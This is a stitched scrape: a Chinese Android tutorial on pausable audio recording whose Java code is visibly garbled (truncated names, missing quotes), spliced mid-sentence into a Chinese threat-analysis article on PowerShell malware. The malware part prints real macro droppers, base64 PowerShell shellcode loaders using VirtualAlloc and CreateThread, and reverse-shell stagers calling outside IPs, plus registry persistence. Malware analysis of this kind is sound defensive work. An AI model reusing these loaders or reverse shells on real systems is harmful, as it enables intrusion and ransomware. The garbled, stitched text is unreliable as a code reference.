城市消防远程监控系统厂家技术规范有哪些

Android 实现能够暂停的录音功能
好久没更新博客了,着实有点惭愧,以后不管工作是忙是闲都得坚持更新博客,持之以恒地做下去!
正式进入主题,今天我分享一个在工作中过程中遇到的一个技术难点以及我解决该难点的方案,该问题困扰了我许久,通过不断地研究和翻阅资料,终于在满足工作需求的情况下将该问题解决,希望我的经验能够对读者有所帮助。我们知道 ApI提供了MediaRecorder和AudioRecord两个类给开发者来很方便地实现音视频的录制(前者可以实现音频和视频的录制,后者只能实现音频的录制)。这两个类都提供了start()和stop()方法用于开始和结束音频或视频的录制,但令人费解的是这两个类都没有提供pause()方法用于暂停录制音视频,因为在实际应用当中,暂停录制的功能是非常有必要的,暂不清楚Google工程师们在设计API时是如何考量的而没有添加这个方法,可能另有玄机吧。那既然Android自身没有提供这样一个方法,就只有我们自己来实现了,那么问题就来了,就是到底如何实现音频录制的暂停方法呢?别急,先讲一下我在工作中所遇到的需求,如下:需实现音频录制的暂停功能,并且生成的音频文件格式必须是m4a格式。为什么项目中音频文件一定要采用m4a格式的呢?有以下几点原因:
1. 录制相同时间的音频,使用m4a格式存储的文件的大小要比使用其它格式类型存储的文件的大小要小(通过实验多次,在相同采样率16000的情况下,一般录制5分钟的音频,采用m4a格式存储的音频文件只有1.2Mb,而采用arm、mp3及其它格式的一般都有2-5Mb),这样当用户需要下载或上传录制的音频文件时,可以节省流量,并且相同压缩率的前提下,m4a格式音频的音质相比其它格式的也更高;
2.产品同时拥有Android客户端和客户端,那为了避免使用Android客户端的用户录制的音频上传到服务器之后,使用IOS客户端的用户下载下来发生无法播放的问题,我们需统一录制音频的存储格式。由于Iphone手机官方推荐的音频格式是m4a且对m4a格式的音频文件支持度较高,再综合第一点来看,于是我们选择m4a格式作为音频文件的存储格式。
好了,解释了为什么音频录制文件必须使用m4a存储格式之后,接下来我们来解决如何实现音频的录制的暂停功能。前面讲了,Android SDK API提供了MediaRecorder和AudioRecord两个类来完成音视频的录制方法,我们看下它们两者之间的特点和区别:
MediaRecorder:
特性:该类集成了录音、编码和压缩等功能,可根据设置的编码格式的参数直接生成各种格式的音频文件(如arm、 mp3或m4a等),由于集成度较高,因此使用起来简单,但灵活度不高,不能实现像AudioRecord那样进行音 频的实时处理。
AudioRecord:
特性:该类录制的音频为原始的PCM二进制音频数据,没有文件头和文件尾,生成的PCM文件不能直接使用 Mediaplayer播放,只能使用AudioTrack播放。使用AudioRecord可以实现边录边播的音频实时处理。
了解了这两个类的特性之后,起初我决定使用MediaRecorder类来解决录制暂停的问题,具体的思路如下:
(1)每次触发开始录制和暂停录制音频的事件时都单独保存一个m4a格式的音频文件,直到最后触发停止录制音频的事件时,将之前录制的若干m4a格式的音频文件合并成一个文件。如图下:
这种方法比较好理解,也容易想到,不过在实现过程中遇到了一个技术难点,那就是多个m4a格式的音频文件的合并并不是简单地将文件的内容拷贝到一个文件中,而是要通过分析每一个m4a格式的音频文件,计算出每个文件头的结构大小,并将文件头去掉,再将文件进行拷贝合并。通过查阅资料,发现m4a格式的音频文件头是由多个包含关系的ATOM结构组成,且每个不同的m4a格式的音频文件的文件头的大小都不一样,这样使得多个m4a文件头文件解析和合并变得较为复杂,若有多个m4a文件需要合并,那么会变得较为耗时。再者,对于没有足够音视频文件解析和编解码经验的开发者来讲,要精准地得解析一个m4a文件,挑战性太大(网上这方面的资料也寥寥无几),有兴趣的读者可以进行深入研究。
上述方法行不通,于是只好作罢,后来又想到了另外一种方法,也是我解决问题的最终方案,具体的思路如下:
(2)由于使用AudioRecord类提供的方法录制的音频是原始的PCM格式的二进制数据,该格式的文件没有文件头信息,那么我们在进行文件合并时就就无需解析文件结构去掉对应的文件头,这样就变成了二进制数据地简单拷贝和合并。我在这里实现的方式是在录制音频的过程中采用边录制边写入的方式不断地向同一个文件写入录制的二进制音频数据。当触发暂停录音事件时,停止录制停止写入二进制数据,当触发继续录音事件时,则继续录制和向文件中写入数据。最后停止写入数据时,将PCM二进制音频文件编码成m4a格式的音频文件。如图下:
上面方法描述中,实现边录制边写入的功能倒比较简单,关键难点是如何将PCM二进制数据编码成目标的m4a格式的音频数据,要实现音视频的编解码,一般都是使用第三方开源的编解码库,比较著名的有FFMpeg和Speex,这些库都提供了录制、转换以及流化音视频的完整解决方案,不过在此我的需求只是需要简单地实现编码工作,使用这些开源库体积太大,有点杀鸡用牛刀的感觉。因此,通过研究和查阅资料,我在github上找到了一个非常有用的编解码开源项目android-aac-enc(地址:/timsu/android-aac-enc),该开源项目能完美地实现将原始的pcm格式的二进制数据编码成m4a格式的数据文件,相比于FFmpeg库,这个库有以下几点优点:
1. aac-enc库的体积比FFmpeg库的体积更小;
2. 相比FFMpeg, aac-enc实现格式转换更加简单和快速;
3. aac-enc比FFmpeg需要编译更少的底层的代码。
该开源项目使用起来也非常地简单,通过分析其示例代码我们可以通过以下四个步骤来实现音频的编码工作,代码如下:
* 1.初始化编码配置
* 32000 : 音频的比特率
* 2 : 音频的声道
* sampleRateInHz : 音频采样率
* 16 :音频数据格式,PCM 16位每个样本
* FileUtils.getAAcFilePath(mAudioRecordFileName) : aac音频文件的存储路径
encoder.init(32000, 2, sampleRateInHz, 16, FileUtils.
getAAcFilePath(mAudioRecordFileName));
* 2.对二进制代码进行编码
* b :需要编码的二进制音频流
encoder.encode(b);
* 3. 从pcm二进制数据转aac音频文件编码完成
encoder.uninit();
* 4. 将aac文件转码成m4a文件
* FileUtils.getAAcFilePath(mAudioRecordFileName) :需要编码的aac文件路径
* FileUtils.getM4aFilePath(mAudioRecordFileName) :编码成m4a文件的目标路径
new AACToM4A().convert(mContext, FileUtils.getAAcFilePath(mAudioRecordFileName),
FileUtils.getM4aFilePath(mAudioRecordFileName));
使用起来是不是很简单方便,我们无需对音频文件格式和文件头进行判断和解析,只需要通过该开源项目封装的api方法直接调用就可以很快速的将原始的二进制PCM音频数据转换成m4a格式的音频数据文件。感兴趣的读者可以去研究一下该项目的,了解一下其内部的实现,这里暂且不深入探究。
基本上明确好思路和编码的实现方法后,接下来就是具体的实现过程了,我们将依据上面的思路和方法来实现一个具有暂停功能的音频录制Demo。首先看下Demo的项目结构,如下图:
如何使用AudioRecord类来实现音频的录制,这方面的资料很多,读者可以先学习,简单地入一下门。接下来我们先运行一下Demo,来看一下效果图:
(1)初始界面 (2)正在录制界面 (2)暂停界面
(4)播放界面 (5)暂停播放界面
粗略看了Demo的运行效果图后,接下来我们就要来实现,这里由于要使用aac-encode项目来实现音频的编码,则需将该项目以library的形式集成到我们的Demo中,做完该项工作后,我们就可以在Demo工程中写其它相关的逻辑代码了,下面看一下实现demo的关键代码,首先是RecordAct.java文件中的代码,该类为主界面类,主要实现了界面的初始化、音频的录制和音频播放的功能,具体的代码如下:
public class RecordAct extends Activity implements OnClickListener{
* Status:录音初始状态
private static final int STATUS_PREPARE = 0;
* Status:正在录音中
private static final int STATUS_RECORDING = 1;
* Status:暂停录音
private static final int STATUS_PAUSE = 2;
* Status:播放初始状态
private static final int STATUS_PLAY_PREPARE = 3;
* Status:播放中
private static final int STATUS_PLAY_PLAYING = 4;
* Status:播放暂停
private static final int STATUS_PLAY_PAUSE = 5;
private int status = STATUS_PREPARE;
* 录音时间
private TextView tvRecordT
* 录音按钮
private ImageView btnR// 录音按钮
private PopupWindow popAddW
* 试听界面
private LinearLayout layoutL
* 录音长度
private TextView tvL
private TextView recordC
* 重置按钮
private View resetR
* 结束录音
private View recordO
private ImageView audioRecordNextI
private TextView audioRecordNextT
* 音频播放进度
private TextView tvP
long startTime = 0;
* 最大录音长度
private static final int MAX_LENGTH = 300 * 1000;
private Handler handler = new Handler();
* 音频录音的总长度
private static int voiceL
* 音频录音帮助类
private AudioRecordUtils mRecordU
* 播放进度条
private SeekBar seekB
* 音频播放类
* 录音文件名
private String audioRecordFileN
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.pop_add_record);
initView();
public void initView(){
//音频录音的文件名称
audioRecordFileName = TimeUtils.getTimestamp();
//初始化音频录音对象
mRecordUtils = new AudioRecordUtils(this,audioRecordFileName);
View view = LayoutInflater.from(this).inflate(R.layout.pop_add_record, null);
tvRecordTime = (TextView)findViewById(R.id.tv_time);
btnRecord = (ImageView)findViewById(R.id.iv_btn_record);
btnRecord.setOnClickListener(this);
recordContinue = (TextView)findViewById(R.id.record_continue_txt);
resetRecord = findViewById(R.id.btn_record_reset);
recordOver = findViewById(R.id.btn_record_complete);
resetRecord.setOnClickListener(this);
recordOver.setOnClickListener(this);
audioRecordNextImage = (ImageView)findViewById(R.id.recrod_complete_img);
audioRecordNextText = (TextView)findViewById(R.id.record_complete_txt);
layoutListen = (LinearLayout)findViewById(R.id.layout_listen);
tvLength = (TextView)findViewById(R.id.tv_length);
tvPosition = (TextView)findViewById(R.id.tv_position);
seekBar = (SeekBar)findViewById(R.id.seekbar_play);
seekBar.setOnSeekBarChangeListener(new SeekBarChangeEvent());
seekBar.setEnabled(false);
player = new Player(seekBar, tvPosition);
player.setMyPlayerCallback(new MyPlayerCallback() {
public void onPrepared() {
seekBar.setEnabled(true);
public void onCompletion() {
status = STATUS_PLAY_PREPARE;
seekBar.setEnabled(false);
seekBar.setProgress(0);
tvPosition.setText(00:00);
recordContinue.setBackgroundResource(R.drawable.record_audio_play);
popAddWindow = new PopupWindow(view, LayoutParams.MATCH_PARENT,
LayoutParams.MATCH_PARENT);
popAddWindow.setFocusable(true);
popAddWindow.setAnimationStyle(R.style.pop_anim);
popAddWindow.setBackgroundDrawable(new BitmapDrawable());
public void handleRecord(){
switch(status){
case STATUS_PREPARE:
mRecordUtils.startRecord();
btnRecord.setBackgroundResource(R.drawable.record_round_red_bg);
status = STATUS_RECORDING;
voiceLength = 0;
case STATUS_RECORDING:
pauseAudioRecord();
resetRecord.setVisibility(View.VISIBLE);
recordOver.setVisibility(View.VISIBLE);
btnRecord.setBackgroundResource(R.drawable.record_round_blue_bg);
recordContinue.setVisibility(View.VISIBLE);
status = STATUS_PAUSE;
case STATUS_PAUSE:
mRecordUtils.startRecord();
resetRecord.setVisibility(View.INVISIBLE);
recordOver.setVisibility(View.INVISIBLE);
btnRecord.setBackgroundResource(R.drawable.record_round_red_bg);
recordContinue.setVisibility(View.INVISIBLE);
status = STATUS_RECORDING;
case STATUS_PLAY_PREPARE:
player.playUrl(FileUtils.getM4aFilePath(audioRecordFileName));
recordContinue.setBackgroundResource(R.drawable.record_audio_play_pause);
status = STATUS_PLAY_PLAYING;
case STATUS_PLAY_PLAYING:
player.pause();
recordContinue.setBackgroundResource(R.drawable.record_audio_play);
status = STATUS_PLAY_PAUSE;
case STATUS_PLAY_PAUSE:
player.play();
recordContinue.setBackgroundResource(R.drawable.record_audio_play_pause);
status = STATUS_PLAY_PLAYING;
* 暂停录音
public void pauseAudioRecord(){
mRecordUtils.pauseRecord();
if (handler != null && runnable != null) {
handler.removeCallbacks(runnable);
runnable =
* 停止录音
public void stopAudioRecord(){
pauseAudioRecord();
mRecordUtils.stopRecord();
status = STATUS_PLAY_PREPARE;
showListen();
* 重新录音参数初始化
@SuppressLint(NewApi)
public void resetAudioRecord(){
//停止播放音频
player.stop();
pauseAudioRecord();
mRecordUtils.reRecord();
status = STATUS_PREPARE;
voiceLength = 0;
tvRecordTime.setTextColor(Color.WHITE);
tvRecordTime.setText(TimeUtils.convertMilliSecondToMinute2(voiceLength));
recordContinue.setText(R.string.record_continue);
recordContinue.setBackground(null);
recordContinue.setVisibility(View.GONE);
layoutListen.setVisibility(View.GONE);
tvRecordTime.setVisibility(View.VISIBLE);
audioRecordNextImage.setImageResource(R.drawable.btn_record_icon_complete);
audioRecordNextText.setText(R.string.record_over);
btnRecord.setBackgroundResource(R.drawable.record_round_blue_bg);
resetRecord.setVisibility(View.INVISIBLE);
recordOver.setVisibility(View.INVISIBLE);
* 计时功能
private void timing() {
runnable = new Runnable() {
public void run() {
voiceLength += 100;
if (voiceLength &= (MAX_LENGTH - 10 * 1000)) {
tvRecordTime.setTextColor(getResources().getColor(
R.color.red_n));
tvRecordTime.setTextColor(Color.WHITE);
if (voiceLength & MAX_LENGTH) {
stopAudioRecord();
tvRecordTime.setText(TimeUtils.convertMilliSecondToMinute2(voiceLength));
handler.postDelayed(this, 100);
handler.postDelayed(runnable, 100);
public void onClick(View v) {
// TODO Auto-generated method stub
switch (v.getId()) {
case R.id.iv_btn_record:
handleRecord();
case R.id.btn_record_reset:
resetAudioRecord();
case R.id.btn_record_complete:
stopAudioRecord();
* 显示播放界面
private void showListen() {
layoutListen.setVisibility(View.VISIBLE);
tvLength.setText(TimeUtils.convertMilliSecondToMinute2(voiceLength));
tvRecordTime.setVisibility(View.GONE);
resetRecord.setVisibility(View.VISIBLE);
recordOver.setVisibility(View.INVISIBLE);
recordContinue.setVisibility(View.VISIBLE);
seekBar.setProgress(0);
tvPosition.setText(00:00);
btnRecord.setBackgroundResource(R.drawable.record_round_blue_bg);
recordContinue.setText(null);
recordContinue.setBackgroundResource(R.drawable.record_audio_play);
* SeekBar进度条改变事件监听类
class SeekBarChangeEvent implements SeekBar.OnSeekBarChangeListener {
public void onProgressChanged(SeekBar seekBar, int progress,
boolean fromUser) {
if (null != player && player.mediaPlayer != null) {
this.progress = progress * player.mediaPlayer.getDuration()
/ seekBar.getMax();
tvPosition.setText(TimeUtils
.convertMilliSecondToMinute2(player.currentPosition));
public void onStartTrackingTouch(SeekBar seekBar) {
public void onStopTrackingTouch(SeekBar seekBar) {
if (player.mediaPlayer != null) {
player.mediaPlayer.seekTo(progress);
protected void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
player.stop();
上面代码注释比较清楚,且好理解,因此不多分析,读者自行学习。下面再来看一下AudioRecordUtils类的代码,该类是音频录制功能的主要实现代码,里面简单地封装了开始录音、暂停录音、停止录音和重新录音几个方法,在开发中只要调用就行,来看看具体的实现代码,如下:
public class AudioRecordUtils {
private final int audioSource = MediaRecorder.AudioSource.MIC;
// 设置音频采样率,44100是目前的标准,但是某些设备仍然支持,11025
private final int sampleRateInHz = 16000;
// 设置音频的录制的声道CHANNEL_IN_STEREO为双声道,CHANNEL_CONFIGURATION_MONO为单声道
private final int channelConfig = AudioFormat.CHANNEL_IN_STEREO;
// 音频数据格式:PCM 16位每个样本。保证设备支持。PCM 8位每个样本。不一定能得到设备支持。
private final int audioFormat = AudioFormat.ENCODING_PCM_16BIT;
private int inBufSize = 0;
private AudioRecord audioR
private AACEncoder encoder =
private ProgressDialog mProgressDialog =
private boolean isRecord =
private Context mC
* 录制的音频文件名称
private String mAudioRecordFileN
private static final int RECORDED_INIT_DELETE = 0;
private static final int RECORDED_COMPLETED_DELETE = 1;
public AudioRecordUtils(Context context,String audioRecordFileName){
mContext =
mAudioRecordFileName = audioRecordFileN
initAudioRecord();
* 初始化对象
private void initAudioRecord(){
inBufSize = AudioRecord.getMinBufferSize(
sampleRateInHz,
channelConfig,
audioFormat);
audioRecord
= new AudioRecord(
audioSource,
sampleRateInHz,
channelConfig,
audioFormat,
inBufSize);
encoder = new AACEncoder();
deleteAllFiles(RECORDED_INIT_DELETE);
mProgressDialog = new ProgressDialog(mContext);
mProgressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
mProgressDialog.setCanceledOnTouchOutside(false);
mProgressDialog.setCancelable(false);
mProgressDialog.setTitle(提示);
mProgressDialog.setMessage(正在保存录音,请耐心等候......);
* 开始录音
public void startRecord(){
new AudioRecordTask().execute();
* 暂停录音
public void pauseRecord(){
isRecord =
* 停止录音
public void stopRecord(){
new AudioEncoderTask().execute();
* 重新录制
public void reRecord(){
//重新录制时,删除录音文件夹中的全部文件
deleteAllFiles(RECORDED_INIT_DELETE);
private void encodeAudio(){
//读取录制的pcm音频文件
DataInputStream mDataInputStream = new DataInputStream(new FileInputStream(
FileUtils.getPcmFilePath(mAudioRecordFileName)));
byte[] b = new byte[(int) new File(FileUtils.
getPcmFilePath(mAudioRecordFileName)).length()];
mDataInputStream.read(b);
//初始化编码配置
encoder.init(32000, 2, sampleRateInHz, 16, FileUtils.
getAAcFilePath(mAudioRecordFileName));
//对二进制代码进行编码
encoder.encode(b);
//编码完成
encoder.uninit();
mDataInputStream.close();
//将aac文件转码成m4a文件
new AACToM4A().convert(mContext, FileUtils.getAAcFilePath(mAudioRecordFileName),
FileUtils.getM4aFilePath(mAudioRecordFileName));
} catch (IOException e) {
Log.e(ERROR, error converting, e);
deleteAllFiles(RECORDED_COMPLETED_DELETE);
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
class AudioRecordTask extends AsyncTask{
protected Void doInBackground(Void... params) {
// TODO Auto-generated method stub
if(audioRecord == null){
initAudioRecord();
RandomAccessFile mRandomAccessFile =
mRandomAccessFile = new RandomAccessFile(new File(
FileUtils.getPcmFilePath(mAudioRecordFileName)), rw);
byte[] b = new byte[inBufSize/4];
//开始录制音频
audioRecord.startRecording();
//判断是否正在录制
isRecord =
while(isRecord){
audioRecord.read(b, 0, b.length);
//向文件中追加内容
mRandomAccessFile.seek(mRandomAccessFile.length());
mRandomAccessFile.write(b, 0, b.length);
//停止录制
audioRecord.stop();
mRandomAccessFile.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
class AudioEncoderTask extends AsyncTask{
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
if(mProgressDialog != null && !mProgressDialog.isShowing()){
mProgressDialog.show();
protected Long doInBackground(Void... params) {
// TODO Auto-generated method stub
encodeAudio();
protected void onPostExecute(Long result) {
// TODO Auto-generated method stub
super.onPostExecute(result);
if(mProgressDialog.isShowing()){
mProgressDialog.cancel();
mProgressDialog.dismiss();
* 清空音频录制文件夹中的所有文件
* @param isRecorded
public void deleteAllFiles(int isRecorded){
File[] files = new File(FileUtils.getAudioRecordFilePath()).listFiles();
switch (isRecorded) {
case RECORDED_INIT_DELETE:
for(File file: files){
file.delete();
case RECORDED_COMPLETED_DELETE:
for(File file: files){
if(!file.getName().equals(mAudioRecordFileName + Constants.M4A_SUFFIX)){
file.delete();
上面代码关键处都有注释,读者可自行学习。自此,我们基本熟悉了实现能够暂停录音功能的关键代码,代码没有全部贴出,想要完整的Demo可在文章末尾下载来仔细研究。最后我再补充一点,就是若读者对录制的音频格式没有严格的要求话,如录制的音频格式是arm格式,则没有必要考虑到音频的编解码问题,因为arm格式的音频文件的文件头信息固定是6个字节的大小,那这种情况读者可以采用文章开头所说的第一种方法,就是每次点击暂停事件都录制成一个arm文件,在最后合并的时候,只需要去掉第2至n个文件的前6个字节,然后进行文件的拷贝合并就行,Powershell恶意代码的N种姿势 -
| 关注黑客与极客
Powershell恶意代码的N种姿势
共236863人围观
,发现 4 个不明物体
人在做,天在看。
技术从来都是中性的,被用来行善还是作恶完全取决于运用它的人。原子能可以用来发电为大众提供清洁能源,也可以用来制造能毁灭全人类的核武器,这不是一个完善的世界,于是我们既有核电站也有了核武器。
Powershell,曾经Windows系统管理员的称手工具,在恶意代码制造和传播者手里也被玩得花样百出。由于Powershell的可执行框架部分是系统的组件不可能被查杀,而驱动它的脚本是非PE的而非常难以通过静态方法判定恶意性,同时脚本可以非常小巧而在系统底层的支持下功能却可以非常强大,这使利用Powershell的恶意代码绕过常规的病毒防护对系统为所欲为。因此,360天眼实验室近期看到此类恶意代码泛滥成灾就毫不奇怪,事实上,我们甚至看到所跟踪的APT团伙也开始转向Powershell。
本文我们向大家展示一些看到的实际恶意代码的例子。
这里我们基于360威胁情报中心的数据,对接触到的Powershell恶意代码按分类各举一例。
我们知道现在勒索软件以其直接的变现方式现在已成为黑产的宠儿,像雨后春笋那样冒出来的勒索软件中,我们看到了使用纯Powershell脚本实现的例子。
样本MD5:eaac89f70f2a95c7f8e8e
这是一个通过Word文档中嵌入宏以诱导执行的勒索软件,使用工具提取出其中的宏,内容如下:
"vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"
宏的功能是下载到本地的temp目录下,并用Powershell运行这个文件。而下载回来的file.php本质上是一个ps的脚本文件,MD5为:dda0bb6ce3cebdfc 。
勒索者脚本的实现原理是:通过随机生成加密密钥与用户ID,将加密密钥与用户ID信息上传到服务器进行备份,在用户机器上使用对称算法将用户的文档进行加密。因为密钥为随机生成,除非拥有攻击者服务器上备份的密钥,否则很难将被加密的文档进行还原。
脚本的原貌为:
可见,脚本做了混淆处理,简单处理以后归纳出的脚本主要执行过程如下:
1. 生成三个随机数,分别表示加密密钥、加密用的盐、UUID
把上面生成随机数发送到服务器中保存
2. 用随机数生成加密容器
3. 得到磁盘中的所有的指定后缀的文件
调用Get-PSDrive,得到所有文件名
$folder= gdr|where {$_.Free}|Sort-Object -Descending&
4. 加密这些文件的前2048个字节后写回文件
5. 解码Base64得到提示勒索的html文件
在html文件的尾部添加上赎回密钥用的UUID及当前时间
此类样本大多使用网络上的nishang开源工具包生成的攻击文件。攻击文件以Word、Excel、CHM、LNK等格式的文件为载体,嵌入Payload,实现获得反弹Shell等功能,实现对系统的控制。
样本MD5:929d104ae3f02129bbf9fa3c5cb8f7a1
文件打开后,会显示文件损坏,用来迷惑用户,Word中的宏却悄然运行了。
宏的内容为:
Sub AutoOpen()
x = “powershell -window hidden -enc JAAxACA[……]APQA” _&
& “wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A”
Shell (“POWERSHELL.EXE ” & x)
Dim title As String
title = “Critical Microsoft Office Error”
Dim msg As String
Dim intResponse As Integer
msg = “This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup.”
intResponse = MsgBox(msg, 16, title)
Application.Quit
将宏中的字符串,用Base64解码后,得到内容如下:
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}
将其中的shellcode提取出来进行分析得知,这段shellcode的主要功能是反向连接内网IP 192.168.1.30的4444端口。
另一个与上述样本有着类似功能的样本的MD5为:1e310ac62b1d84b5e650&
从文件中提取出来的宏为:
而这四个函数对应的功能分别为
用Powershell下载invoke-shellcode.ps后,通过invoke-shellcode函数调用指定Payload windows/meterpreter/reverse_https 建立反弹shell,反弹的地址为98.100.108.133,端口为443
其中部分代码为:
将Powershell建立反弹Shell的功能用VBS实现后,保存在C:\Users\Public\10-D.vbs文件中
新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注册表,值指定为C:\Users\Public\10-D.vbs
调用C:\Users\Public\10-D.vbs
而有时,为了抵抗杀毒软件的追杀,样本通常会进行Base64编码。
MD5:c49ee3fb4897dd1cdab1d0ae4fe55988
下面为提取出来的宏内容,可见代码使用了Base64编码:
&"vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
解码后的内容为:
$q = @"[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);"@try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}function g{ for ($i=0;$i -lt 64;$i++){$h =$k = $d | &foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebC$m.Headers.Add("user-agent", "Mozilla/4.0 ( MSIE 6.1; Windows NT)");$n = [Byte[]] $p = $m.DownloadData("$n" )$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru$x=$o::VirtualAlloc(0,$p.Length,0x);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)$o::CreateThread(0,0,$x,0,0,0) | out- Start-Sleep -Second 86400}catch{}&
脚本的功能是通过g函数随机生成四位的字符,从内网网址下载后加载执行 (其中xxxx为随机四位字符)
这里连接的是192.168.0.105为内网IP,此样本很可能是渗透者进行内网渗透攻击的测试样本。此类样本还有很多:
eaec5fb25b2bb32b1dbed7
1a4c9e118e
496ed16eeadbcdc182b0e85
使用LNK文件,建立反弹shell的样本
为了快速提升网站流量、Alexa排名、淘宝网店访问量、博客人气、每日访问IP、PV、UV等,有些网站站长会采取非常规的引流方法,采用软件在后台模拟人正常访问网页的点击动作而达到提升流量的目的。
样本MD5:5f8dc4db8a658b7ba185c2f038f3f075
文档打开后里面只有“test by c”这几个文字
提取出文档中的宏中的加密字符解密后得到可读的ps脚本如下
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}
可见,ps脚本的主要功能就是执行Shellcode,这段Shellcode的功能就是调用wininet.dll中的函数进行连接138.128.196.84地址的443端口。而138.128.196.84地址正为流量宝类的软件用的地址。
样本对通过宏调用Powershell下载PE文件在受影响的系统上检查是否为关心的目标并执行进一步地操作,具备针对性攻击的特点。
样本MD5:fba6bd317e60fe53c8d3
从样本中抽取出的宏主要是根据系统版本下载相应的文件执行
& &Sub AutoOpen()
& & x1 = “Download”
& & h = “Str”
& & o = “power” & “shell” & “.exe”
& & Const HIDDEN_WINDOW = 0
& & strComputer = “.”
& & abcdef = h & “ing”
& & Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2″)
& & Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)
& & Set objConfig = objStartup.SpawnInstance_
& & objConfig.ShowWindow = HIDDEN_WINDOW
